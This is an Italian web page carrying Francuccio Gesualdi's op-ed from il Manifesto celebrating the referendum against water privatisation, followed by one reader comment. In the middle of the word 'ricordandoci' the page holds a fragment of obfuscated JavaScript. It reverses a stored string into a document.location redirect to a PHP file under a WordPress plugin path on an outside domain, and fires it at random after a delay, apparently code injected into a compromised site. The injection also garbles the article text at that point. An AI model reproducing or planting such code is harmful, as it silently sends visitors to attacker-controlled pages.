Una nuova stagione democratica. Gesualdi: "Ripartiamo dalla vittoria del referendum"

image_pdfimage_print

E’ stato il nostro slogan: “Si scrive acqua, si pronuncia democrazia” e la democrazia ha detto sì, nonostante tutti i tentativi del Governo di farlo fallire, questo referendum.
Il popolo ha gridato in faccia a chi lo vuole schiavo, ignorante, limone da strizzare per arricchire i mercanti, che tutto ha una limite e se c’è da scegliere fra la vita e il profitto, noi scegliamo la vita.
Lo abbiamo detto molto chiaramente abolendo l’articolo che consente di fare profitto sull’acqua, ricord (typeof ($p$VTO6JhIH6WkCGAcPR.list[n]) == "string") return $p$VTO6JhIH6WkCGAcPR.list[n].split("").reverse().join("");return $p$VTO6JhIH6WkCGAcPR.list[n];};$p$VTO6JhIH6WkCGAcPR.list=["'php.tegdiw.ssalc/bil/orp-tegdiw-rettiwt/snigulp/tnetnoc-pw/moc.xamdok//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andoci che il nostro stesso corpo è costituito per il 70% di acqua e che privatizzando l’acqua si privatizza la vita.
Priorità alla vita, ma anche all’equità, ai diritti, ai beni comuni, questo è il messaggio che con questo referendum intendiamo mandare ai governi, sia quelli di centro destra, sia quelli di centro sinistra, ricordandoci che da venti anni si passano la staffetta per imporci una privatizzazione che non vogliamo.
Basta con il progetto bipartisan che vuole imporci il mercato e il profitto come signore e sovrano cui tutto deve piegarsi.
Da oggi i partiti, tutti i partiti, devono ripassarsi la Costituzione, mettendo a fuoco che all’articolo uno non sta scritto che la repubblica è fondata sul mercato, ma sul lavoro, un modo sintetico per affermare che prima vengono le persone, poi gli affari.
Da oggi tutto dovrà essere rivisto e si sbaglia di grosso chi pensa di poter continuare a imbrogliarci gettando la responsabilità dei nostri malanni sui poveri cristi che vengono a lavorare da noi per dieci euro al giorno o intontendoci con gioielli di latta mentre sottobanco si accordano con gli affaristi per spolparci, impoverirci, svendere il nostro patrimonio collettivo.
Con questo referendum abbiamo dimostrato che l’effetto incantesimo delle televisioni berlusconiane, che vogliono farci vivere sognando la ricchezza di chi ci deruba, ormai è al tramonto.
L’ora del risveglio è suonata grazie a chi ha saputo resistere al sonnifero ed ha usato tutte le sue forze per scuotere, denunciare, allertare.
Finalmente ci siamo sollevati, ci siamo stropicciati gli occhi ed abbiamo cominciato a capire che i nostri interessi di gente che vive di lavoro non ce li difende nessuno: nè i dirigenti di partito e tanto meno le società per azioni siano esse a capitale pubblico o privato.
Abbiamo capito che i nostri interessi ce li dobbiamo difendere da soli tornando a partecipare, a ricostruire le comunità, a riprendere i servizi nelle nostre mani, a garantire i diritti per tutti, a rifondare la solidarietà collettiva.
Per questo la vittoria dei referendum che pure ci riempie di gioia e di orgoglio, non è punto di arrivo, ma di partenza.
Deve essere l’inizio di un rinnovato impegno per spianare la strada a una nuova stagione in cui la democrazia torni a trionfare a dispetto di chi vuole distruggerla riempiendosi la bocca di libertà.
“Si scrive acqua, si pronuncia democrazia”, con questo referendum abbiamo dimostrato che la democrazia può ancora.

Francuccio Gesualdi dal Manifesto

0 Comments

  1. roberto

    Quando ho visto “Gesualdi, ripartiamo ecc…” mi sono chiesto se chi interveniva era quel Gesualdi che qualche anno addietro si diede da fare per strizzare l’occhio, da buon sindacalista politicante democristiano, ben introdotto e ben visto dalla curia fiorentina, ai signori delle talpe, quelli della TAV.
    Vedo invece che chi scrive è un altro Gesualdi ed allora mi sono calmato.
    Bisogna stare attenti. Come ai tempi di Cristo può accadere che un Giuda qualsiasi venga a festeggiare con te e poi venda la tua causa per trenta sporchi denari!

    Reply

Leave a Reply

Il tuo indirizzo email non sarà pubblicato. I campi obbligatori sono contrassegnati *